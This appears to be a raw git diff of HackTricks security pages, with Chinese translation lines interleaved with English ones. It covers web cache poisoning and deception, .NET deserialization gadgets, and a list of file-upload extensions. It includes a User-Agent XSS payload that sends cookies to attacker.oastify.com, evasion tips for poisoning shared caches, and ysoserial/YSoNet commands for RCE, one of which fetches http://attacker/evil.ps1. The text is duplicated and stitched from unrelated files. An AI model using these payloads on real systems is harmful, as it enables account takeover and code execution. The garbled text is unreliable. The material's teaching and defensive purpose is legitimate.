The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
示例用法: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
个真实世界的模式将基于 header 的反射原语与 CDN/WAF 行为链在一起,以可靠地污染缓存的 HTML供其他用户使用
种真实世界的模式将基于 header 的反射原语与 CDN/WAF 行为串联起来,从而可靠地向其他用户投毒缓存的 HTML
- 主 HTML 将不受信任的请求 header例如 `User-Agent`)反射到可执行上下文中。
- CDN 去除了缓存 headers但存在内部/源端缓存。CDN 还会自动缓存以静态扩展名结尾的请求(例如 `.js`),而 WAF 对静态资源的 GET 请求应用了更弱的内容检测
- 请求流的细节允许对 `.js` 路径的请求影响随后主 HTML 使用的缓存键/变体,从而通过 header 反射实现跨用户 XSS。
- CDN 去掉了缓存头,但存在内部/源缓存。CDN 还会自动缓存以静态扩展名结尾的请求(例如 `.js`),而 WAF 对静态资源的 GET 执行了较弱的内容检查
- 请求流上的一些怪癖允许对 `.js` 路径的请求影响随后主 HTML 使用的缓存键/变体,从而通过 header 反射实现跨用户 XSS。
实用步骤(在一个流行的 CDN/WAF 观察到):
实用步骤(在一个流行的 CDN/WAF 观察到):
1) 从一个干净的 IP避免之前的基于声誉的降级出发,通过浏览器或 Burp Proxy 的 Match & Replace 设置一个恶意的 `User-Agent`
2) 在 Burp Repeater 中,准备一组两个请求并使用 "Send group in parallel"single-packet mode 效果最好
- 第一个请求:对同一 origin `.js` 资源路径发起 GET同时发送你恶意 `User-Agent`
1) 使用干净的 IP避免之前的基于信誉的降级,通过浏览器或 Burp Proxy 的 Match & Replace 设置恶意的 `User-Agent`
2) 在 Burp Repeater 中,准备两请求的请求组并使用 "Send group in parallel"(单包模式效果最佳
- 第一个请求:对同一`.js` 资源路径发起 GET同时发送你设置的恶意 `User-Agent`
- 紧接着GET 主页面(`/`)。
3) CDN/WAF 的路由竞争,加上自动缓存的 `.js`,通常会种下被污染的缓存 HTML 变体,然后在满足相同缓存键条件(例如相同的 `Vary` 维度如 `User-Agent`)的其他访问者中被提供
3) CDN/WAF 的路由竞态加上自动缓存的 `.js` 通常会播种一个被投毒的缓存 HTML 变体,然后该变体会被提供给共享相同缓存键条件(例如相同的 `Vary` 维度`User-Agent`)的其他访问者。
示例 header payload用于 exfiltrate non-HttpOnly cookies
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
运行建议:
Operational tips:
- 许多 CDN 会隐藏缓存头poisoning 可能仅在数小时的刷新周期上可见。使用多个 vantage IPs 并节流以避免触发 rate-limit 或 reputation triggers
- 使用来自 CDN 自身云的 IP 有时可以改善路由一致性。
- 如果存在严格的 CSP只要反射在主 HTML 上下文执行且 CSP 允许内联执行或被上下文绕过,这仍然有效
- 许多 CDN 会隐藏缓存头poisoning 可能只在数小时的刷新周期中显现。使用多个观察点 IP 并进行节流以避免触发 rate-limit 或 reputation 触发器
- 使用来自 CDN 自身 cloud 的 IP 有时能改善路由一致性。
- 若存在严格的 CSP只要反射在主 HTML 上下文中执行,且 CSP 允许 inline 执行或被上下文绕过,依然可行
影响:
Impact:
- 如果会话 cookie 不是 `HttpOnly`,则可以通过对所有被提供被投毒 HTML 的用户大规模外泄 `document.cookie` 来实现零点击 ATO。
- 如果会话 cookies 未设置 `HttpOnly`,则可能通过大规模提取 `document.cookie`(针对所有被提供投毒 HTML 的用户)实现 zero-click ATO。
防护措施:
Defenses:
- 停止将请求头反射到 HTML 中;如果不可避免,务必进行严格的上下文编码。使 CDN 和源origin的缓存策略对齐并避免基于不受信任的头进行变化。
- 确保 WAF 对 `.js` 请求和静态路径一致地应用内容检测。
- 在会话 cookie 上设置 `HttpOnly`(以及 `Secure``SameSite`)。
- 停止将请求头反射到 HTML 中;若无法避免,必须进行严格的上下文编码。使 CDN 与 origin 的缓存策略对齐,并避免基于不受信任的请求头进行差异化。
- 确保 WAF 对 `.js` 请求和静态路径始终执行内容检测。
- 在会话 cookies 上设置 `HttpOnly`(以及 `Secure``SameSite`)。
### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)
@ -209,7 +209,7 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
这会在攻击者指定的 cache key 下写入任意 HTML一旦 cache keys 已知就可以进行精确的 poisoning。
This writes arbitrary HTML under an attackerchosen cache key, enabling precise poisoning once cache keys are known.
For full details (cache key construction, ItemService enumeration and a chained postauth deserialization RCE):
@ -221,47 +221,47 @@ For full details (cache key construction, ItemService enumeration and a chained
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS 转发了 URL 中的 fragment 而未进行剥离,并且只使用 host、path 和 query忽略 fragment来生成 cache key。于是请求 `/#/../?r=javascript:alert(1)` 被转发到后端为 `/#/../?r=javascript:alert(1)`,而 cache key 中并不包含 payload只有 host、path 和 query。
ATS 将 URL 中的 fragment 转发到后端而不删除,并且在生成 cache key 时只使用 host、path 和 query忽略 fragment。因此请求 `/#/../?r=javascript:alert(1)` 会被发送到后端为 `/#/../?r=javascript:alert(1)`,而 cache key 中没有包含 payload只包含 host、path 和 query。
### GitHub CP-DoS
在 content-type header 中发送一个错误值会触发一个被缓存的 405 响应。cache key 包含了 cookie因此只可能攻击未认证的用户。
在 content-type header 中发送一个错误值会触发一个被缓存的 405 响应。cache key 包含 cookie因此只能攻击未认证unauth用户。
### GitLab + GCP CP-DoS
GitLab 使用 GCP buckets 来存储静态内容。**GCP Buckets** 支持头 `x-http-method-override`。因此可以发送头 `x-http-method-override: HEAD` 并将缓存投毒为返回空响应体。它也可能支持方法 `PURGE`
GitLab 使用 GCP buckets 存储静态内容。**GCP Buckets** 支持 **header `x-http-method-override`**。因此可以发送 `x-http-method-override: HEAD` 来将 cache 污染成返回空的响应体。它也可能支持 `PURGE` 方法
### Rack Middleware (Ruby on Rails)
在 Ruby on Rails 应用中,经常使用 Rack middleware。该 Rack 代码的目的通常是读取 **`x-forwarded-scheme`** header 的值并将其设置为请求的 scheme。当发送 `x-forwarded-scheme: http` 时,会发生到相同位置的 301 redirect可能导致对该资源的 Denial of Service (DoS)。另外,应用可能会识别 `X-forwarded-host` header 并将用户重定向到指定的 host。这种行为可能导致从攻击者服务器加载 JavaScript 文件,带来安全风险。
在 Ruby on Rails 应用中,经常使用 Rack middleware。Rack 代码的作用是读取 **`x-forwarded-scheme`** header 的值并将其设置为请求的 scheme。发送 `x-forwarded-scheme: http` 时会导致到相同位置的 301 重定向,可能对该资源造成 Denial of Service (DoS)。此外,应用可能会识别 `X-forwarded-host` header 并将用户重定向到指定的 host。行为可能导致从攻击者服务器加载 JavaScript 文件,从而带来安全风险。
### 403 与 Storage Buckets
Cloudflare 之前会缓存 403 响应。使用错误的 Authorization headers 访问 S3 或 Azure Storage Blobs 会导致返回 403 响应并被缓存。虽然 Cloudflare 已停止缓存 403 响应,但其他代理服务中可能仍存在此行为。
Cloudflare 以前会缓存 403 响应。用错误的 Authorization headers 尝试访问 S3 或 Azure Storage Blobs 时会得到被缓存的 403 响应。尽管 Cloudflare 已停止缓存 403 响应,但其他代理服务中可能仍存在此行为。
### 注入带键参数
### 注入带键参数 (Injecting Keyed Parameters)
Caches 经常在 cache key 中包含特定的 GET 参数。例如Fastly 的 Varnish 会在请求中缓存 `size` 参数。然而,如果同时发送了该参数的 URL 编码版本(例如 `siz%65`并带有错误值cache key 会使用正确的 `size` 参数来构造,但后端会处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码会导致其被缓存系统忽略但被后端使用。将该参数赋值为 0 会导致一个可缓存的 400 Bad Request 错误。
缓存通常在 cache key 中包含特定的 GET 参数。例如Fastly 的 Varnish 会在请求中缓存 `size` 参数。然而,如果同时发送了该参数的 URL 编码版本(例如 `siz%65`且带有错误值,则 cache key 会使用正确的 `size` 参数来构造,而后端会处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码会导致缓存忽略它但后端使用它。将该参数置为 0 会导致可缓存的 400 Bad Request 错误。
### User Agent 规则
### User Agent Rules
一些开发者会阻断 user-agents 与高流量工具(如 FFUF 或 Nuclei相匹配的请求以管理服务器负载。具有讽刺意味的是,这种做法可能引入 cache poisoning 和 DoS 等漏洞。
一些开发者会阻止 user-agent 与高流量工具(如 FFUF 或 Nuclei匹配的请求以控制服务器负载。但具有讽刺意味的是,这种做法可能引入 cache poisoning 和 DoS 等漏洞。
### 非法 Header 字段
### Illegal Header Fields
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了 header 名称中可接受的字符。包含超出 **tchar** 范围字符的 headers 理应触发 400 Bad Request 响应。但实际上服务器并不总是遵守该标准。一个显著的例子是 Akamai会转发包含无效字符的 headers 并缓存任何 400 错误,只要 `cache-control` header 不存在。存在一个可利用的模式:发送带有非法字符(例如 `\`)的 header 会导致一个可缓存的 400 Bad Request 错误。
[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了 header 名称中允许的字符。包含超出 **tchar** 范围的字符的 headers 理应触发 400 Bad Request 响应。但实际上服务器并不总是遵守该标准。一个显著的例子是 Akamai它会转发带有非法字符的 header 并缓存任何 400 错误,只要未包含 `cache-control` header。发现一种可利用的模式发送包含非法字符(例如 `\`)的 header 会导致可缓存的 400 Bad Request 错误。
### 寻找新 header
### Finding new headers
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
Cache Deception 的目标是让客户端加载那些将被缓存保存且包含其敏感信息的资源。
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
首先注意,诸如 `.css``.js``.png` 等扩展名通常被配置为会被缓存。因此,如果你访问 `www.example.com/profile.php/nonexistent.js`,缓存可能会存储该响应,因为它检测到了 `.js` 扩展。但如果应用在响应中回放存储在 _www.example.com/profile.php_ 的敏感用户内容,就可以从其他用户那里“窃取”这些内容。
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
其他可测试的项:
Other things to test:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
@ -270,17 +270,17 @@ Cache Deception 的目标是让客户端加载那些将被缓存保存且包含
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif`
另一个非常清晰的示例可以在此 write-up 中找到: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
在该示例中,解释了如果你加载一个不存在的页面,例如 _http://www.example.com/home.php/non-existent.css__http://www.example.com/home.php_ 的内容(**包含用户的敏感信息**)将被返回,并且缓存服务器会保存该结果。\
随后,**attacker** 可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察到先前访问过该页面的用户的**机密信息**。
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
注意,**cache proxy** 应该是基于文件的扩展名_.css_来配置为**缓存**文件,而不是基于 content-type。在示例中 _http://www.example.com/home.php/non-existent.css_ 的 content-type 将是 `text/html` 而不是 `text/css`
注意,**cache proxy** 应该基于文件的 **extension**(例如 _.css_)来 **configured****cache** 文件,而不是基于 content-type。在示例中_http://www.example.com/home.php/non-existent.css_ 会有 `text/html` 的 content-type而不是 `text/css`
在此了解如何利用[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## 自动化工具
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner 用于在 URL 列表中查找 web cache poisoning vulnerabilities 并测试多种 injection techniques。
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
## 参考资料

View File

@ -2,19 +2,19 @@
{{#include ../../banners/hacktricks-training.md}}
本文致力于**理解 ObjectDataProvider gadget 如何被利用**以获得 RCE以及**如何滥用 Serialization 库 Json.Net 和 xmlSerializer**来配合该 gadget
本文旨在讲解 **如何利用 gadget ObjectDataProvider 被利用** 来获得 RCE以及 **如何滥用序列化库 Json.Net 和 xmlSerializer** 与该 gadget 配合
## ObjectDataProvider Gadget
根据文档_the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
是的,这个解释有点奇怪,所以我们来看这个类有哪些有趣的地方:该类允许**封装任意对象wrap an arbitrary object**,使用 _**MethodParameters**_**设置任意参数** 然后 **使用 MethodName 调用该任意对象的任意函数**,并将之前声明的任意参数传入。\
因此,任意 **object** 会在被反序列化时使用这些 **parameters****执行** 一个 **function**。
是的,这个解释有点奇怪,我们来看一下这个类有什么有趣的地方:该类允许 **封装任意对象wrap an arbitrary object**,使用 _**MethodParameters**_**设置任意参数set arbitrary parameters**,然后使用 **MethodName** 调用该任意对象的任意函数(使用上述任意参数)。\
因此,该任意 **对象** 在被反序列化时会 **执行** 一个带有 **参数****方法**。
### **How is this possible**
### **这是如何实现的**
**System.Windows.Data** 命名空间(位于 **PresentationFramework.dll**`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`)是定义实现 ObjectDataProvider 的地方。
**System.Windows.Data** 命名空间(位于 **PresentationFramework.dll**`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`)是定义实现 ObjectDataProvider 的地方。
使用 [**dnSpy**](https://github.com/0xd4d/dnSpy) 可以**查看我们感兴趣的类的代码**。下面的图片中我们看到的是 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** 的代码
使用 [**dnSpy**](https://github.com/0xd4d/dnSpy) 你可以 **查看我们感兴趣的类的代码**。下面的图片显示了 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** 的代码
![](<../../images/image (427).png>)
@ -22,17 +22,17 @@
![](<../../images/image (319).png>)
好的,继续`this.BeginQuery()` 做了什么。`BeginQuery``ObjectDataProvider` 中被重写,下面是它的实现:
接着看`this.BeginQuery()` 做了什么。`BeginQuery``ObjectDataProvider` 中被重写,下面是它的实现:
![](<../../images/image (345).png>)
注意在代码末尾调用了 `this.QueryWorke(null)`。我们来看那会执行什么:
注意在代码的最后它调用了 `this.QueryWorke(null)`。我们来看那会执行什么:
![](<../../images/image (596).png>)
注意这并不是 `QueryWorker` 函数的完整代码,但它展示了有趣的部分:代码**调用了 `this.InvokeMethodOnInstance(out ex);`**,这就是**方法集合被调用**的那一行。
注意这并不是 `QueryWorker` 函数的完整代码,但它展示了有趣的部分:代码 **调用了 `this.InvokeMethodOnInstance(out ex);`**,这就是执行所设置方法的那一行。
如果你想验证仅设置 _**MethodName**_ 就会被执行,你可以运行这段代码:
如果你想验证仅设置 _**MethodName**_ 就会被执行,你可以运行下面的代码:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
}
}
```
注意,你需要将引用添加为 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_,以便加载 `System.Windows.Data`
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
## ExpandedWrapper
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
使用先前的 exploit 时,可能会出现这样的情况:**object** 会被 **反序列化为** 一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke vuln 中,使用 XmlSerializer 时,对象是通过 `GetType` 反序列化的)。在这种情况下,将**不知道被封装在** _ObjectDataProvider_ 实例中的对象类型(例如 `Process`)。你可以在[关于 DotNetNuke vuln 的更多信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)中找到参考资料。
该类允许 s**指定在给定实例中被封装对象的对象类型**。因此,该类可用于将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
这对于前面展示的情况非常有用,因为我们能够 **封装 \_ObjectDataProvider**_** 到一个 **_**ExpandedWrapper** \_ 实例,并且 **反序列化时** 该类将 **创建** _**OjectDataProvider**_ 对象,该对象将 **执行**_**MethodName**_ 中指定的 **函数**
这个类允许**指定给定实例中被封装对象的对象类型**。因此这个类可以用来将一个源对象_ObjectDataProvider_封装成一个新的对象类型并提供我们需要的属性_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_。\
这对于前面展示的情况非常有用,因为我们将能够 **包装 \_ObjectDataProvider**_** 到一个 **_**ExpandedWrapper** \_ 实例内,并且 **反序列化时** 这个类会 **创建** _**OjectDataProvider**_ 对象,该对象会 **执行**_**MethodName**_ 中指定的 **函数**
你可以使下代码检查这个 wrapper
你可以用下面的代码检查这个 wrapper
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
在 [官方网站](https://www.newtonsoft.com/json) 上指出该库允许 **使用 Json.NET 强大的 JSON 序列化器对任何 .NET 对象进行序列化和反序列化**。因此,如果我们能够 **反序列化 ObjectDataProvider gadget**,仅通过反序列化一个对象就可能导致 **RCE**
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
### Json.Net 示例
@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email);
```
### 滥用 Json.Net
使用 [ysoserial.net](https://github.com/pwntester/ysoserial.net) 我创建了 exploit:
使用 [ysoserial.net](https://github.com/pwntester/ysoserial.net) 我创建了 exploit:
```java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
在这段代码中你可以**测试该漏洞利用**,只需运行它,你会看到 calc 被执行:
在这段代码中你可以 **test the exploit**,只需运行它,你将看到 calc 被执行:
```java
using System;
using System.Text;
@ -186,25 +186,25 @@ TypeNameHandling = TypeNameHandling.Auto
```
## 高级 .NET Gadget Chains (YSoNet & ysoserial.net)
面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是当应用执行不安全的 .NET 反序列化时可以被滥用的众多 gadget chains 之一。现代红队工具例如 **[YSoNet](https://github.com/irsdl/ysonet)**(以及更早的 [ysoserial.net](https://github.com/pwntester/ysoserial.net))可以自动生成用于数十种 gadget 和序列化格式的可直接使用的恶意对象图
文介绍的 ObjectDataProvider + ExpandedWrapper 技巧只是当应用进行 **不安全的 .NET 反序列化** 时可被滥用的众多 gadget chains 之一。现代红队工具例如 **[YSoNet](https://github.com/irsdl/ysonet)**(以及较旧的 [ysoserial.net](https://github.com/pwntester/ysoserial.net))会自动生成针对数十种 gadget 和序列化格式的**可直接使用的恶意对象图**
下面是随 *YSoNet* 提供的最有用链的简参考,包含它们的工作原理说明以及生成 payload 的示例命令。
下面是随 *YSoNet* 一起提供的最有用链的简参考,包含它们的工作原理简要说明以及生成 payload 的示例命令。
| Gadget Chain | 核心思想 / 原语 | 常见序列化器 | YSoNet one-liner |
|--------------|-----------------|--------------------|------------------|
| **TypeConfuseDelegate** | 损坏 `DelegateSerializationHolder` 记录,使其在反序列化后指向任意攻击者提供的方法(例如 `Process.Start` | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector` 来*绕过 .NET ≥4.8 的类型过滤*并直接调用提供类的**构造函数**或动态编译一个 C# 文件 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | 利用 `System.Data.DataSet` 的**遗留 XML** 表示,通过填充 `<ColumnMapping>` / `<DataType>` 字段来实例化任意类型(可选地使用 `--spoofedAssembly`程序集) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | 在启用 WPF 的运行时(>.NET 5上链式调用属性 getter直到到达 `System.CodeDom.Compiler.CompilerResults`,然后使用 `-c` 提供的 DLL 进行*编译*或*加载* | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (复习) | 使用 WPF 的 `System.Windows.Data.ObjectDataProvider` 调用带受控参数的任意静态方法。YSoNet 增加了便捷的 `--xamlurl` 选项以便远程托管恶意 XAML | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | `ScriptBlock` 嵌入到 `System.Management.Automation.PSObject`PowerShell 反序列化该对象时执行 | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| Gadget Chain | 关键思路 / 原语 | 常见序列化器 | YSoNet 一行命令 |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | 破坏 `DelegateSerializationHolder` 记录,使其在物化后,委托指向攻击者提供的*任意*方法(例如 `Process.Start` | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector` 来*绕过 .NET ≥4.8 的类型过滤*,并直接调用指定类的**构造函数**或动态**编译** C# 文件 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | 利用 `System.Data.DataSet` 的**旧版 XML** 表示,通过填充 `<ColumnMapping>` / `<DataType>` 字段来实例化任意类型(可选地使用 `--spoofedAssembly`程序集) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | 在启用 WPF 的运行时(> .NET 5链式调用属性 getter 直到到达 `System.CodeDom.Compiler.CompilerResults`,然后*编译*或*加载*使用 `-c` 提供的 DLL | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | 使用 WPF 的 `System.Windows.Data.ObjectDataProvider` 调用带有可控参数的任意静态方法。YSoNet 添加了便捷的 `--xamlurl` 选项以远程托管恶意 XAML | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject`嵌入 `ScriptBlock`PowerShell 反序列化该对象时执行 | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> 默认情况下,所有 payload **都会写入 *stdout***,因此很容易将它们通过管道传递给其它工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。
> 所有 payload 默认**输出到 *stdout***,因此可以轻松通过管道传递到其他工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。
### 构建 / 安装 YSoNet
如果在 *Actions ➜ Artifacts* / *Releases* 下没有可用的预编译二进制文件,下面的 **PowerShell** 单行命令将设置构建环境、克隆仓库并以 *Release* 模式编译所有内容:
如果在 *Actions ➜ Artifacts* / *Releases* 下没有可用的预编译二进制文件,下面的 **PowerShell** 一行命令会设置构建环境、克隆仓库并以 *Release* 模式编译所有内容:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,22 +216,22 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
编译后的 `ysonet.exe` 可以在 `ysonet/bin/Release/` 下找到。
### 检测与加固
* **检测** `w3wp.exe``PowerShell.exe` 或任何反序列化用户提供数据的进程(例如 `MessagePack``Json.NET`)的异常子进程
* 在无法移除旧的 `BinaryFormatter` / `NetDataContractSerializer` 时,启用并**强制类型过滤**`TypeFilterLevel` = *Full*、自定义 `SurrogateSelector``SerializationBinder`*etc.*)。
* 在可能的情况下迁移到 **`System.Text.Json`** 或 **`DataContractJsonSerializer`**并使用基于白名单的转换器。
* 阻止危险的 WPF 程序集(`PresentationFramework``System.Workflow.*`)在不需要它们的 web 进程中加载。
* **Detect** 意外的 `w3wp.exe``PowerShell.exe` 或任何反序列化用户提供数据的进程(例如 `MessagePack`, `Json.NET`
* 在无法移除遗留的 `BinaryFormatter` / `NetDataContractSerializer` 时,启用并 **enforce type-filtering**`TypeFilterLevel` = *Full*,自定义 `SurrogateSelector``SerializationBinder`)。
* 在可能的情况下迁移到 **`System.Text.Json`** 或 **`DataContractJsonSerializer`** 并使用基于白名单的转换器。
* 阻止危险的 WPF 程序集(`PresentationFramework``System.Workflow.*`)在不需要它们的 web 进程中加载。
## 真实场景 sinkSitecore convertToRuntimeHtml → BinaryFormatter
## 真实世界 sink: Sitecore convertToRuntimeHtml → BinaryFormatter
一个在经过认证的 Sitecore XP Content Editor 流程中可达的实用 .NET sink
在经过身份验证的 Sitecore XP Content Editor 流程中可到达的一个实用的 .NET sink
- Sink API`Sitecore.Convert.Base64ToObject(string)` 封装了 `new BinaryFormatter().Deserialize(...)`
- Trigger pathpipeline `convertToRuntimeHtml``ConvertWebControls`,该流程搜索具有 `id="{iframeId}_inner"` 的同级元素并读取 `value` 属性,该属性被视为 base64 编码的序列化数据。结果被强制转换为字符串并插入到 HTML 中。
- Sink API: `Sitecore.Convert.Base64ToObject(string)` 封装了 `new BinaryFormatter().Deserialize(...)`
- Trigger path: pipeline `convertToRuntimeHtml``ConvertWebControls`,其会搜索具有 `id="{iframeId}_inner"` 的同级元素并读取一个 `value` 属性,该属性被视为 base64 编码的序列化数据。结果被转换为字符串并插入到 HTML 中。
最小端到端示例(已认证):
最小端到端(已认证):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
@ -246,9 +246,9 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget:任何返回字符串的 BinaryFormatter 链(副作用在反序列化期间执行)。参见 YSoNet/ysoserial.net 以生成 payloads。
- Gadget: 任何返回 string 的 BinaryFormatter 链(在反序列化期间会执行副作用)。查看 YSoNet/ysoserial.net 以生成 payloads。
For a full chain that starts preauth with HTML cache poisoning in Sitecore and leads to this sink:
对于一条完整链,起始于 Sitecore 的 preauth HTML cache poisoning并最终到达此 sink:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md

View File

@ -7,7 +7,7 @@
其他有用的扩展名:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
